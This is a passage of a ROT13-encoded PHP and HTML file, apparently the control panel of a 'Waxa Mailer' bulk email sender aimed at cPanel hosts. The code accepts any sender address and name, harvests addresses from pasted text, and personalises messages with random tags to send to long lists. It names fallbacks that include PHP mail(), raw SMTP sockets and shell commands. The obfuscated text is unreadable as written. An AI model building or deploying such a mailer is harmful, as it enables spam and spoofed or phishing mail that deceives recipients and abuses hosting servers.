    urnqre("Ybpngvba: " . fgegbx($_FREIRE['ERDHRFG_HEV'], '?'));
    rkvg;
}

// ==================== VAVGVNYVMR ZNVYRE ====================
$znvyre = arj JnknZnvyFraqre();
$frag_pbhag = 0;
$snvyrq_pbhag = 0;
$flfgrz_purpxf = purpxZnvyFlfgrz();
$ybtf = [];

// ==================== CEBPRFF SBEZ FHOZVFFVBAF ====================
vs($_FREIRE['ERDHRFG_ZRGUBQ'] == 'CBFG' && vffrg($_CBFG['npgvba'])) {
    vs($_CBFG['npgvba'] == 'fraq') {
        $sebz_rznvy = $_CBFG['sebz_rznvy'] ?? '';
        $sebz_anzr = $_CBFG['sebz_anzr'] ?? '';
        $fhowrpg = $_CBFG['fhowrpg'] ?? '';
        $zrffntr = $_CBFG['zrffntr'] ?? '';
        $rznvy_yvfg = $_CBFG['rznvy_yvfg'] ?? '';
        $vf_ugzy = vffrg($_CBFG['vf_ugzy']) ? gehr : snyfr;
        $qrynl = vaginy($_CBFG['qrynl'] ?? 100000);
        
        // Inyvqngr sebz rznvy
        vs(rzcgl($sebz_rznvy) || !vfInyvqRznvy($sebz_rznvy)) {
            $ybtf[] = '<qvi pynff="nyreg nyreg-qnatre">Reebe: Vainyvq fraqre rznvy nqqerff</qvi>';
        } ryfr {
            $rznvyf = rkcybqr("\a", $rznvy_yvfg);
            $rznvyf = neenl_znc('gevz', $rznvyf);
            $rznvyf = neenl_svygre($rznvyf, 'vfInyvqRznvy');
            
            vs(rzcgl($rznvyf)) {
                $ybtf[] = '<qvi pynff="nyreg nyreg-jneavat">Jneavat: Ab inyvq rznvy nqqerffrf sbhaq</qvi>';
            } ryfr {
                $gbgny = pbhag($rznvyf);
                $pbhagre = 1;
                
                sbernpu($rznvyf nf $rznvy) {
                    $pyrne_fhowrpg = jnknPyrne($fhowrpg, $rznvy);
                    $pyrne_zrffntr = jnknPyrne($zrffntr, $rznvy);
                    
                    $erfhyg = $znvyre->fraqRznvy($rznvy, $pyrne_fhowrpg, $pyrne_zrffntr, $sebz_rznvy, $sebz_anzr, $vf_ugzy);
                    
                    vs($erfhyg['fhpprff']) {
                        $frag_pbhag++;
                        $ybtf[] = "<qvi pynff='nyreg nyreg-fhpprff'>[$pbhagre/$gbgny] ✓ Frag gb: $rznvy <fznyy>(Zrgubq: {$erfhyg['zrgubq']})</fznyy></qvi>";
                    } ryfr {
                        $snvyrq_pbhag++;
                        $ybtf[] = "<qvi pynff='nyreg nyreg-qnatre'>[$pbhagre/$gbgny] ✗ Snvyrq: $rznvy <fznyy>- {$erfhyg['reebe']}</fznyy></qvi>";
                    }
                    
                    $pbhagre++;
                    @bo_syhfu();
                    @syhfu();
                    hfyrrc($qrynl);
                }
            }
        }
    } ryfrvs($_CBFG['npgvba'] == 'rkgenpg') {
        $grkg = $_CBFG['rkgenpg_grkg'] ?? '';
        $rznvyf = rkgenpgRznvyfSebzGrkg($grkg);
        $rznvy_yvfg = vzcybqr("\a", $rznvyf);
        $ybtf[] = '<qvi pynff="nyreg nyreg-fhpprff">✓ Rkgenpgrq ' . pbhag($rznvyf) . ' rznvy nqqerffrf</qvi>';
    } ryfrvs($_CBFG['npgvba'] == 'grfg') {
        $grfg_rznvy = $_CBFG['grfg_rznvy'] ?? '';
        vs(vfInyvqRznvy($grfg_rznvy)) {
            $erfhyg = $znvyre->fraqRznvy(
                $grfg_rznvy,
                'Grfg sebz Jnkn Znvyre i3.2',
                'Guvf vf n grfg rznvy frag sebz Jnkn Znvyre i3.2. Vs lbh erprvir guvf, lbhe rznvy flfgrz vf jbexvat pbeerpgyl.',
                $_CBFG['sebz_rznvy'] ?? 'abercyl@' . $_FREIRE['UGGC_UBFG'],
                'Jnkn Grfg',
                gehr
            );
            
            vs($erfhyg['fhpprff']) {
                $ybtf[] = '<qvi pynff="nyreg nyreg-fhpprff">✓ Grfg rznvy frag fhpprffshyyl! <fznyy>(Zrgubq: ' . $erfhyg['zrgubq'] . ')</fznyy></qvi>';
            } ryfr {
                $ybtf[] = '<qvi pynff="nyreg nyreg-qnatre">✗ Grfg snvyrq: ' . $erfhyg['reebe'] . '</qvi>';
            }
        } ryfr {
            $ybtf[] = '<qvi pynff="nyreg nyreg-qnatre">Cyrnfr ragre n inyvq grfg rznvy nqqerff</qvi>';
        }
    }
}
?>
<!QBPGLCR ugzy>
<ugzy ynat="ra">
<urnq>
    <zrgn punefrg="HGS-8">
    <zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1.0">
    <gvgyr>Jnkn Znvyre i3.2 - Hygvzngr pCnary Ohyx Rznvy Fraqre</gvgyr>
    <yvax uers="uggcf://pqa.wfqryvie.arg/acz/obbgfgenc@5.1.3/qvfg/pff/obbgfgenc.zva.pff" ery="fglyrfurrg">
    <yvax ery="fglyrfurrg" uers="uggcf://pqa.wfqryvie.arg/acz/obbgfgenc-vpbaf@1.8.1/sbag/obbgfgenc-vpbaf.pff">
    <yvax ery="fglyrfurrg" uers="uggcf://pqawf.pybhqsyner.pbz/nwnk/yvof/sbag-njrfbzr/6.0.0/pff/nyy.zva.pff">
    <fglyr>
        :ebbg {
            --cevznel: #667rrn;
            --frpbaqnel: #764on2;
            --fhpprff: #10o981;
            --qnatre: #rs4444;
            --jneavat: #s59r0o;
            --vasb: #3o82s6;
            --qnex: #1s2937;
            --yvtug: #s9snso;
        }
        
        obql {
            onpxtebhaq: yvarne-tenqvrag(135qrt, #s5s7sn 0%, #r4r8s0 100%);
            zva-urvtug: 100iu;
            sbag-snzvyl: 'Vagre', -nccyr-flfgrz, OyvaxZnpFlfgrzSbag, 'Frtbr HV', Ebobgb, fnaf-frevs;
        }
        
        .anione {
            onpxtebhaq: juvgr;
            obk-funqbj: 0 4ck 20ck eton(0,0,0,0.08);
            cnqqvat: 15ck 0;
        }
        
        .anione-oenaq {
            sbag-jrvtug: 800;
            onpxtebhaq: yvarne-tenqvrag(135qrt, ine(--cevznel), ine(--frpbaqnel));
            -jroxvg-onpxtebhaq-pyvc: grkg;
            -jroxvg-grkg-svyy-pbybe: genafcnerag;
            onpxtebhaq-pyvc: grkg;
            sbag-fvmr: 1.8erz;
        }
        
        .pneq {
            obeqre: abar;
            obeqre-enqvhf: 15ck;
            obk-funqbj: 0 10ck 30ck eton(0,0,0,0.08);
            genafvgvba: nyy 0.3f rnfr;
            znetva-obggbz: 24ck;
            biresybj: uvqqra;
        }
        
        .pneq:ubire {
            genafsbez: genafyngrL(-5ck);
            obk-funqbj: 0 15ck 40ck eton(0,0,0,0.12);
        }
        
        .pneq-urnqre {
            onpxtebhaq: juvgr;
            obeqre-obggbz: 2ck fbyvq #s0s0s0;
            cnqqvat: 20ck 25ck;
            sbag-jrvtug: 600;
            sbag-fvmr: 1.2erz;
        }
        
        .pneq-obql {
            cnqqvat: 25ck;
        }
        
        .oga-cevznel {
            onpxtebhaq: yvarne-tenqvrag(135qrt, ine(--cevznel), ine(--frpbaqnel));
            obeqre: abar;
            cnqqvat: 12ck 28ck;
            sbag-jrvtug: 600;
            obeqre-enqvhf: 10ck;
            genafvgvba: nyy 0.3f;
        }
        
        .oga-cevznel:ubire {
            genafsbez: genafyngrL(-2ck);
            obk-funqbj: 0 10ck 20ck eton(102, 126, 234, 0.3);
        }
        
        .sbez-pbageby, .sbez-fryrpg {
            obeqre: 2ck fbyvq #r5r7ro;
            obeqre-enqvhf: 10ck;
            cnqqvat: 12ck 16ck;
            sbag-fvmr: 1erz;
            genafvgvba: nyy 0.3f;
        }
        
        .sbez-pbageby:sbphf, .sbez-fryrpg:sbphf {
            obeqre-pbybe: ine(--cevznel);
            obk-funqbj: 0 0 0 3ck eton(102, 126, 234, 0.1);
        }
        
        .ani-gnof {
            obeqre-obggbz: 2ck fbyvq #r5r7ro;
            znetva-obggbz: 25ck;
        }
        
        .ani-gnof .ani-yvax {
            obeqre: abar;
            pbybe: #6o7280;
            sbag-jrvtug: 500;
            cnqqvat: 12ck 24ck;
            obeqre-enqvhf: 10ck 10ck 0 0;
            znetva-evtug: 5ck;
            genafvgvba: nyy 0.3f;
        }
        
        .ani-gnof .ani-yvax:ubire {
            pbybe: ine(--cevznel);
            onpxtebhaq: eton(102, 126, 234, 0.05);
        }
        
        .ani-gnof .ani-yvax.npgvir {
            onpxtebhaq: yvarne-tenqvrag(135qrt, ine(--cevznel), ine(--frpbaqnel));
            pbybe: juvgr;
            obeqre: abar;
            obk-funqbj: 0 4ck 15ck eton(102, 126, 234, 0.3);
        }
        
        .fgngf-pneq {
            grkg-nyvta: pragre;
            cnqqvat: 25ck;
            obeqre-enqvhf: 12ck;
            onpxtebhaq: juvgr;
            genafvgvba: nyy 0.3f;
        }
        
        .fgngf-pneq:ubire {
            genafsbez: genafyngrL(-3ck);
        }
        
        .fgngf-vpba {
            sbag-fvmr: 2.5erz;
            znetva-obggbz: 15ck;
            onpxtebhaq: yvarne-tenqvrag(135qrt, ine(--cevznel), ine(--frpbaqnel));
            -jroxvg-onpxtebhaq-pyvc: grkg;
            -jroxvg-grkg-svyy-pbybe: genafcnerag;
            onpxtebhaq-pyvc: grkg;
        }
        
        .fgngf-ahzore {
            sbag-fvmr: 2.2erz;
            sbag-jrvtug: 700;
            znetva: 10ck 0;
        }
        
        .zrgubq-onqtr {
            sbag-fvmr: 0.75erz;
            cnqqvat: 4ck 10ck;
            obeqre-enqvhf: 20ck;
            sbag-jrvtug: 600;
        }
        
        .onqtr-cevznel { onpxtebhaq: yvarne-tenqvrag(135qrt, ine(--cevznel), ine(--frpbaqnel)); }
        .onqtr-fhpprff { onpxtebhaq: yvarne-tenqvrag(135qrt, ine(--fhpprff), #059669); }
        .onqtr-vasb { onpxtebhaq: yvarne-tenqvrag(135qrt, ine(--vasb), #2563ro); }
        .onqtr-jneavat { onpxtebhaq: yvarne-tenqvrag(135qrt, ine(--jneavat), #q97706); }
        
        .ybt-pbagnvare {
            znk-urvtug: 400ck;
            biresybj-l: nhgb;
            onpxtebhaq: ine(--qnex);
            pbybe: juvgr;
            cnqqvat: 20ck;
            obeqre-enqvhf: 10ck;
            sbag-snzvyl: 'Pbhevre Arj', zbabfcnpr;
            sbag-fvmr: 0.9erz;
        }
        
        .ybt-fhpprff { pbybe: #4nqr80; }
        .ybt-reebe { pbybe: #s87171; }
        .ybt-jneavat { pbybe: #soos24; }
        .ybt-vasb { pbybe: #60n5sn; }
        
        .grzcyngr-pneq {
            phefbe: cbvagre;
            genafvgvba: nyy 0.3f;
            obeqre: 2ck qnfurq #q1q5qo;
            urvtug: 100%;
            obeqre-enqvhf: 12ck;
            cnqqvat: 25ck;
            grkg-nyvta: pragre;
            onpxtebhaq: juvgr;
        }
        
        .grzcyngr-pneq:ubire {
            obeqre-pbybe: ine(--cevznel);
            genafsbez: genafyngrL(-5ck);
            obk-funqbj: 0 10ck 25ck eton(0,0,0,0.1);
        }
        
        .grzcyngr-vpba {
            sbag-fvmr: 2.5erz;
            znetva-obggbz: 15ck;
            onpxtebhaq: yvarne-tenqvrag(135qrt, ine(--cevznel), ine(--frpbaqnel));
            -jroxvg-onpxtebhaq-pyvc: grkg;
            -jroxvg-grkg-svyy-pbybe: genafcnerag;
            onpxtebhaq-pyvc: grkg;
        }
        
        .flfgrz-purpx-vgrz {
            cnqqvat: 15ck;
            znetva-obggbz: 10ck;
            onpxtebhaq: #s9snso;
            obeqre-enqvhf: 8ck;
            obeqre-yrsg: 4ck fbyvq #q1q5qo;
        }
        
        .flfgrz-purpx-vgrz.fhpprff { obeqre-yrsg-pbybe: ine(--fhpprff); }
        .flfgrz-purpx-vgrz.jneavat { obeqre-yrsg-pbybe: ine(--jneavat); }
        .flfgrz-purpx-vgrz.qnatre { obeqre-yrsg-pbybe: ine(--qnatre); }
        
        .gnt-oga {
            obeqre: 1ck fbyvq #q1q5qo;
            onpxtebhaq: juvgr;
            pbybe: #6o7280;
            cnqqvat: 6ck 12ck;
            obeqre-enqvhf: 6ck;
            sbag-fvmr: 0.85erz;
            znetva: 2ck;
            genafvgvba: nyy 0.2f;
        }
        
        .gnt-oga:ubire {
            onpxtebhaq: #s3s4s6;
            obeqre-pbybe: ine(--cevznel);
            pbybe: ine(--cevznel);
        }
        
        .zbqny-urnqre {
            onpxtebhaq: yvarne-tenqvrag(135qrt, ine(--cevznel), ine(--frpbaqnel));
            pbybe: juvgr;
            obeqre-enqvhf: 15ck 15ck 0 0;
            cnqqvat: 20ck 25ck;
        }
        
        .cebterff {
            urvtug: 10ck;
            obeqre-enqvhf: 5ck;
            onpxtebhaq: #r5r7ro;
        }
        
        .cebterff-one {
            onpxtebhaq: yvarne-tenqvrag(135qrt, ine(--cevznel), ine(--frpbaqnel));
            obeqre-enqvhf: 5ck;
        }
        
        .nyreg {
            obeqre: abar;
            obeqre-enqvhf: 10ck;
            cnqqvat: 15ck 20ck;
            znetva-obggbz: 15ck;
        }
        
        .nyreg-fhpprff {
            onpxtebhaq: yvarne-tenqvrag(135qrt, eton(16, 185, 129, 0.1), eton(16, 185, 129, 0.05));
            pbybe: #065s46;
            obeqre-yrsg: 4ck fbyvq ine(--fhpprff);
        }
        
        .nyreg-qnatre {
            onpxtebhaq: yvarne-tenqvrag(135qrt, eton(239, 68, 68, 0.1), eton(239, 68, 68, 0.05));
            pbybe: #991o1o;
            obeqre-yrsg: 4ck fbyvq ine(--qnatre);
        }
        
        .nyreg-jneavat {
            onpxtebhaq: yvarne-tenqvrag(135qrt, eton(245, 158, 11, 0.1), eton(245, 158, 11, 0.05));
            pbybe: #92400r;
            obeqre-yrsg: 4ck fbyvq ine(--jneavat);
        }
        
        .nyreg-vasb {
            onpxtebhaq: yvarne-tenqvrag(135qrt, eton(59, 130, 246, 0.1), eton(59, 130, 246, 0.05));
            pbybe: #1r40ns;
            obeqre-yrsg: 4ck fbyvq ine(--vasb);
        }
        
        @zrqvn (znk-jvqgu: 768ck) {
            .pneq-obql {
                cnqqvat: 20ck;
            }
            
            .fgngf-pneq {
                cnqqvat: 20ck;
            }
            
            .anione-oenaq {
                sbag-fvmr: 1.5erz;
            }
        }
    </fglyr>
</urnq>
<obql>
    <!-- Anivtngvba -->
    <ani pynff="anione anione-rkcnaq-yt">
        <qvi pynff="pbagnvare">
            <n pynff="anione-oenaq" uers="#">
                <v pynff="ov ov-fraq-purpx zr-2"></v>Jnkn Znvyre
            </n>
            <qvi pynff="q-syrk nyvta-vgrzf-pragre">
                <fcna pynff="onqtr ot-cevznel zr-3">
                    <v pynff="ov ov-yvtugavat-punetr"></v> i3.2
                </fcna>
                <qvi pynff="qebcqbja">
                    <ohggba pynff="oga oga-bhgyvar-frpbaqnel oga-fz qebcqbja-gbttyr" glcr="ohggba" qngn-of-gbttyr="qebcqbja">
                        <v pynff="ov ov-crefba-pvepyr"></v> Nqzva
                    </ohggba>
                    <hy pynff="qebcqbja-zrah qebcqbja-zrah-raq">
                        <yv><n pynff="qebcqbja-vgrz" uers="#" qngn-of-gbttyr="zbqny" qngn-of-gnetrg="#urycZbqny">
                            <v pynff="ov ov-dhrfgvba-pvepyr"></v> Uryc
                        </n></yv>
                        <yv><ue pynff="qebcqbja-qvivqre"></yv>
                        <yv><n pynff="qebcqbja-vgrz grkg-qnatre" uers="?ybtbhg=1">
                            <v pynff="ov ov-obk-neebj-evtug"></v> Ybtbhg
                        </n></yv>
                    </hy>
                </qvi>
            </qvi>
        </qvi>
    </ani>

    <qvi pynff="pbagnvare cl-4">
        <!-- Gnof Anivtngvba -->
        <hy pynff="ani ani-gnof" vq="jnknGnof" ebyr="gnoyvfg">
            <yv pynff="ani-vgrz" ebyr="cerfragngvba">
                <ohggba pynff="ani-yvax npgvir" vq="pbzcbfr-gno" qngn-of-gbttyr="gno" qngn-of-gnetrg="#pbzcbfr" glcr="ohggba">
                    <v pynff="ov ov-rairybcr-cncre zr-2"></v>Pbzcbfr
                </ohggba>
            </yv>
            <yv pynff="ani-vgrz" ebyr="cerfragngvba">
                <ohggba pynff="ani-yvax" vq="flfgrz-gno" qngn-of-gbttyr="gno" qngn-of-gnetrg="#flfgrz" glcr="ohggba">
                    <v pynff="ov ov-trne zr-2"></v>Flfgrz
                </ohggba>
            </yv>
            <yv pynff="ani-vgrz" ebyr="cerfragngvba">
                <ohggba pynff="ani-yvax" vq="grzcyngrf-gno" qngn-of-gbttyr="gno" qngn-of-gnetrg="#grzcyngrf" glcr="ohggba">
                    <v pynff="ov ov-svyr-rneznex-grkg zr-2"></v>Grzcyngrf
                </ohggba>
            </yv>
            <yv pynff="ani-vgrz" ebyr="cerfragngvba">
                <ohggba pynff="ani-yvax" vq="ybtf-gno" qngn-of-gbttyr="gno" qngn-of-gnetrg="#ybtf" glcr="ohggba">
                    <v pynff="ov ov-yvfg-purpx zr-2"></v>Ybtf
                </ohggba>
            </yv>
        </hy>

        <qvi pynff="gno-pbagrag" vq="jnknGnofPbagrag">
            <!-- Pbzcbfr Gno -->
            <qvi pynff="gno-cnar snqr fubj npgvir" vq="pbzcbfr" ebyr="gnocnary">
                <qvi pynff="ebj">
                    <qvi pynff="pby-yt-8">
                        <qvi pynff="pneq">
                            <qvi pynff="pneq-urnqre">
                                <u5 pynff="zo-0"><v pynff="ov ov-rairybcr-cncre zr-2"></v>Pbzcbfr Rznvy</u5>
                            </qvi>
                            <qvi pynff="pneq-obql">
                                <sbez zrgubq="cbfg" vq="rznvySbez">
                                    <vachg glcr="uvqqra" anzr="npgvba" inyhr="fraq">
                                    
                                    <qvi pynff="ebj zo-3">
                                        <qvi pynff="pby-zq-6">
                                            <ynory pynff="sbez-ynory">Sebz Rznvy *</ynory>
                                            <vachg glcr="rznvy" pynff="sbez-pbageby" anzr="sebz_rznvy" erdhverq 
                                                   inyhr="<?= ugzyfcrpvnypunef($_CBFG['sebz_rznvy'] ?? 'abercyl@' . $_FREIRE['UGGC_UBFG']) ?>">
                                            <fznyy pynff="grkg-zhgrq">Hfr na rznvy sebz lbhe qbznva</fznyy>
                                        </qvi>
                                        <qvi pynff="pby-zq-6">
                                            <ynory pynff="sbez-ynory">Fraqre Anzr</ynory>
                                            <vachg glcr="grkg" pynff="sbez-pbageby" anzr="sebz_anzr" 
                                                   inyhr="<?= ugzyfcrpvnypunef($_CBFG['sebz_anzr'] ?? 'Jnkn Znvyre') ?>">
                                        </qvi>
                                    </qvi>
                                    
                                    <qvi pynff="zo-3">
                                        <ynory pynff="sbez-ynory">Fhowrpg *</ynory>
                                        <qvi pynff="vachg-tebhc">
                                            <vachg glcr="grkg" pynff="sbez-pbageby" anzr="fhowrpg" erdhverq 
                                                   inyhr="<?= ugzyfcrpvnypunef($_CBFG['fhowrpg'] ?? 'Vzcbegnag Zrffntr sebz ' . $_FREIRE['UGGC_UBFG']) ?>">
                                            <ohggba glcr="ohggba" pynff="oga oga-bhgyvar-frpbaqnel" bapyvpx="nqqGnt('fhowrpg', '[-enaqbzfgevat-]')">
                                                Nqq Gnt
                                            </ohggba>
                                        </qvi>
                                    </qvi>
                                    
                                    <qvi pynff="zo-3">
                                        <ynory pynff="sbez-ynory">Zrffntr *</ynory>
                                        <grkgnern pynff="sbez-pbageby" anzr="zrffntr" ebjf="12" erdhverq 
                                                  vq="zrffntrNern"><?= ugzyfcrpvnypunef($_CBFG['zrffntr'] ?? "Uryyb [-rznvyhfre-],

Guvf vf n grfg rznvy frag sebz Jnkn Znvyre i3.2.

• Lbhe rznvy: [-rznvy-]
• Qbznva: [-rznvyqbznva-]
• Gvzr: [-gvzr-]
• Ersrerapr: [-enaqbzfgevat-]

Gunax lbh,
Gur Grnz") ?></grkgnern>
                                        <qvi pynff="zg-2">
                                            <fznyy pynff="grkg-zhgrq">Dhvpx gntf: </fznyy>
                                            <?cuc
                                            $gntf = ['[-rznvy-]', '[-rznvyhfre-]', '[-rznvyqbznva-]', '[-gvzr-]', '[-qngr-]', '[-enaqbzfgevat-]', '[-enaqbzzq5-]', '[-gbxra-]'];
                                            sbernpu($gntf nf $gnt){
                                                rpub '<ohggba glcr="ohggba" pynff="gnt-oga" bapyvpx="nqqGnt(\'zrffntr\', \'' . $gnt . '\')">' . $gnt . '</ohggba>';
                                            }
                                            ?>
                                        </qvi>
                                    </qvi>
                                    
                                    <qvi pynff="zo-3">
                                        <ynory pynff="sbez-ynory">Rznvy Yvfg (bar cre yvar) *</ynory>
                                        <grkgnern pynff="sbez-pbageby" anzr="rznvy_yvfg" ebjf="8" erdhverq vq="rznvyYvfgNern"><?= ugzyfcrpvnypunef($_CBFG['rznvy_yvfg'] ?? '') ?></grkgnern>
                                        <qvi pynff="zg-2">
                                            <ohggba glcr="ohggba" pynff="oga oga-bhgyvar-vasb oga-fz zr-2" qngn-of-gbttyr="zbqny" qngn-of-gnetrg="#rkgenpgZbqny">
                                                <v pynff="ov ov-zntvp"></v> Rkgenpg Rznvyf
                                            </ohggba>
                                            <ohggba glcr="ohggba" pynff="oga oga-bhgyvar-fhpprff oga-fz zr-2" qngn-of-gbttyr="zbqny" qngn-of-gnetrg="#grfgZbqny">
                                                <v pynff="ov ov-purpx-pvepyr"></v> Fraq Grfg
                                            </ohggba>
                                            <ohggba glcr="ohggba" pynff="oga oga-bhgyvar-frpbaqnel oga-fz" bapyvpx="qbphzrag.trgRyrzragOlVq('rznvyYvfgNern').inyhr = ''">
                                                <v pynff="ov ov-genfu"></v> Pyrne
                                            </ohggba>
                                        </qvi>
                                    </qvi>
                                    
                                    <qvi pynff="ebj zo-4">
                                        <qvi pynff="pby-zq-6">
                                            <qvi pynff="sbez-purpx sbez-fjvgpu">
                                                <vachg pynff="sbez-purpx-vachg" glcr="purpxobk" anzr="vf_ugzy" vq="vf_ugzy" purpxrq>
                                                <ynory pynff="sbez-purpx-ynory" sbe="vf_ugzy">
                                                    <v pynff="ov ov-pbqr-fynfu"></v> Fraq nf UGZY rznvy
                                                </ynory>
                                            </qvi>
                                        </qvi>
                                        <qvi pynff="pby-zq-6">
                                            <ynory pynff="sbez-ynory">Qrynl orgjrra rznvyf (zf)</ynory>
                                            <vachg glcr="enatr" pynff="sbez-enatr" anzr="qrynl" zva="0" znk="1000" inyhr="100" 
                                                   bavachg="qbphzrag.trgRyrzragOlVq('qrynlInyhr').vaareGrkg = guvf.inyhr + 'zf'">
                                            <qvi pynff="grkg-pragre">
                                                <fcna vq="qrynlInyhr" pynff="onqtr ot-frpbaqnel">100zf</fcna>
                                            </qvi>
                                            <vachg glcr="uvqqra" anzr="qrynl" inyhr="100000">
                                        </qvi>
                                    </qvi>
                                    
                                    <qvi pynff="q-tevq tnc-2 q-zq-syrk whfgvsl-pbagrag-zq-orgjrra">
                                        <ohggba glcr="fhozvg" pynff="oga oga-cevznel oga-yt">
                                            <v pynff="ov ov-fraq-purpx"></v> Fraq Rznvyf
                                        </ohggba>
                                        <ohggba glcr="ohggba" pynff="oga oga-bhgyvar-frpbaqnel oga-yt" bapyvpx="pyrneSbez()">
                                            <v pynff="ov ov-renfre"></v> Pyrne Nyy
                                        </ohggba>
                                    </qvi>
                                </sbez>
                            </qvi>
                        </qvi>
                    </qvi>
                    
                    <qvi pynff="pby-yt-4">
                        <!-- Fgngf -->
                        <qvi pynff="pneq">
                            <qvi pynff="pneq-urnqre">
                                <u5 pynff="zo-0"><v pynff="ov ov-one-puneg zr-2"></v>Fgngvfgvpf</u5>
                            </qvi>
                            <qvi pynff="pneq-obql">
                                <qvi pynff="ebj">
                                    <qvi pynff="pby-6 zo-3">
                                        <qvi pynff="fgngf-pneq">
                                            <v pynff="ov ov-purpx-pvepyr fgngf-vpba"></v>
                                            <qvi pynff="fgngf-ahzore"><?= $frag_pbhag ?></qvi>
                                            <c pynff="grkg-zhgrq zo-0">Frag</c>
                                        </qvi>
                                    </qvi>
                                    <qvi pynff="pby-6 zo-3">
                                        <qvi pynff="fgngf-pneq">
                                            <v pynff="ov ov-k-pvepyr fgngf-vpba"></v>
                                            <qvi pynff="fgngf-ahzore"><?= $snvyrq_pbhag ?></qvi>
                                            <c pynff="grkg-zhgrq zo-0">Snvyrq</c>
                                        </qvi>
                                    </qvi>
                                </qvi>
                                <?cuc vs($frag_pbhag + $snvyrq_pbhag > 0): ?>
                                <qvi pynff="zg-3">
                                    <qvi pynff="q-syrk whfgvsl-pbagrag-orgjrra zo-2">
                                        <fcna>Fhpprff Engr</fcna>
                                        <fcna><?= $frag_pbhag > 0 ? ebhaq(($frag_pbhag/($frag_pbhag+$snvyrq_pbhag))*100, 2) : 0 ?>%</fcna>
                                    </qvi>
                                    <qvi pynff="cebterff">
                                        <qvi pynff="cebterff-one" fglyr="jvqgu: <?= $frag_pbhag > 0 ? ($frag_pbhag/($frag_pbhag+$snvyrq_pbhag))*100 : 0 ?>%"></qvi>
                                    </qvi>
                                </qvi>
                                <?cuc raqvs; ?>
                            </qvi>
                        </qvi>
                        
                        <!-- Fraqvat Zrgubqf -->
                        <qvi pynff="pneq">
                            <qvi pynff="pneq-urnqre">
                                <u5 pynff="zo-0"><v pynff="ov ov-yvtugavat-punetr zr-2"></v>Fraqvat Zrgubqf</u5>
                            </qvi>
                            <qvi pynff="pneq-obql">
                                <qvi pynff="yvfg-tebhc yvfg-tebhc-syhfu">
                                    <qvi pynff="yvfg-tebhc-vgrz q-syrk nyvta-vgrzf-pragre">
                                        <qvi pynff="syrk-tebj-1">
                                            <fgebat>Zrgubq 1:</fgebat> Qverpg Fraqznvy
                                        </qvi>
                                        <fcna pynff="onqtr onqtr-cevznel zrgubq-onqtr">Cevznel</fcna>
                                    </qvi>
                                    <qvi pynff="yvfg-tebhc-vgrz q-syrk nyvta-vgrzf-pragre">
                                        <qvi pynff="syrk-tebj-1">
                                            <fgebat>Zrgubq 2:</fgebat> CUC znvy()
                                        </qvi>
                                        <fcna pynff="onqtr onqtr-fhpprff zrgubq-onqtr">Snyyonpx</fcna>
                                    </qvi>
                                    <qvi pynff="yvfg-tebhc-vgrz q-syrk nyvta-vgrzf-pragre">
                                        <qvi pynff="syrk-tebj-1">
                                            <fgebat>Zrgubq 3:</fgebat> FZGC Fbpxrg
                                        </qvi>
                                        <fcna pynff="onqtr onqtr-vasb zrgubq-onqtr">Snyyonpx</fcna>
                                    </qvi>
                                    <qvi pynff="yvfg-tebhc-vgrz q-syrk nyvta-vgrzf-pragre">
                                        <qvi pynff="syrk-tebj-1">
                                            <fgebat>Zrgubq 4:</fgebat> CUCZnvyre
                                        </qvi>
                                        <fcna pynff="onqtr onqtr-jneavat zrgubq-onqtr">Bcgvbany</fcna>
                                    </qvi>
                                    <qvi pynff="yvfg-tebhc-vgrz q-syrk nyvta-vgrzf-pragre">
                                        <qvi pynff="syrk-tebj-1">
                                            <fgebat>Zrgubq 5:</fgebat> Furyy Pbzznaqf
                                        </qvi>
                                        <fcna pynff="onqtr onqtr-vasb zrgubq-onqtr">Snyyonpx</fcna>
                                    </qvi>
                                </qvi>
                            </qvi>
                        </qvi>
                    </qvi>
                </qvi>
            </qvi>
            
            <!-- Flfgrz Gno -->
            <qvi pynff="gno-cnar snqr" vq="flfgrz" ebyr="gnocnary">
                <qvi pynff="pneq">
                    <qvi pynff="pneq-urnqre">
                        <u5 pynff="zo-0"><v pynff="ov ov-trne zr-2"></v>Flfgrz Qvntabfgvpf</u5>
                    </qvi>
                    <qvi pynff="pneq-obql">
                        <u6 pynff="zo-3">Znvy Flfgrz Fgnghf</u6>
                        <?cuc sbernpu($flfgrz_purpxf nf $purpx => $fgnghf): ?>
                            <?cuc
                            $pynff = 'fhpprff';
                            vs(fgecbf($fgnghf, 'Abg sbhaq') !== snyfr || fgecbf($fgnghf, 'Qvfnoyrq') !== snyfr) {
                                $pynff = 'qnatre';
                            } ryfrvs(fgecbf($fgnghf, 'Pybfrq') !== snyfr || fgecbf($fgnghf, 'Abg frg') !== snyfr) {
                                $pynff = 'jneavat';
                            }
                            ?>
                            <qvi pynff="flfgrz-purpx-vgrz <?= $pynff ?>">
                                <qvi pynff="q-syrk whfgvsl-pbagrag-orgjrra nyvta-vgrzf-pragre">
                                    <fcna><fgebat><?= $purpx ?>:</fgebat></fcna>
                                    <fcna><?= $fgnghf ?></fcna>
                                </qvi>
                            </qvi>
                        <?cuc raqsbernpu; ?>
                        
                        <ue pynff="zl-4">
                        
                        <u6 pynff="zo-3">Freire Vasbezngvba</u6>
                        <qvi pynff="ebj">
                            <qvi pynff="pby-zq-6">
                                <qvi pynff="flfgrz-purpx-vgrz fhpprff">
                                    <fgebat>Qbznva:</fgebat><oe>
                                    <?= ugzyfcrpvnypunef($_FREIRE['UGGC_UBFG'] ?? 'Haxabja') ?>
                                </qvi>
                            </qvi>
                            <qvi pynff="pby-zq-6">
                                <qvi pynff="flfgrz-purpx-vgrz fhpprff">
                                    <fgebat>Freire VC:</fgebat><oe>
                                    <?= ugzyfcrpvnypunef($_FREIRE['FREIRE_NQQE'] ?? 'Haxabja') ?>
                                </qvi>
                            </qvi>
                            <qvi pynff="pby-zq-6">
                                <qvi pynff="flfgrz-purpx-vgrz fhpprff">
                                    <fgebat>CUC Irefvba:</fgebat><oe>
                                    <?= cucirefvba() ?>
                                </qvi>
                            </qvi>
                            <qvi pynff="pby-zq-6">
                                <qvi pynff="flfgrz-purpx-vgrz fhpprff">
                                    <fgebat>Freire Fbsgjner:</fgebat><oe>
                                    <?= ugzyfcrpvnypunef($_FREIRE['FREIRE_FBSGJNER'] ?? 'Haxabja') ?>
                                </qvi>
                            </qvi>
                        </qvi>
                    </qvi>
                </qvi>
            </qvi>
            
            <!-- Grzcyngrf Gno -->
            <qvi pynff="gno-cnar snqr" vq="grzcyngrf" ebyr="gnocnary">
                <qvi pynff="ebj">
                    <?cuc
                    $grzcyngrf = [
                        'arjfyrggre' => [
                            'gvgyr' => 'Arjfyrggre',
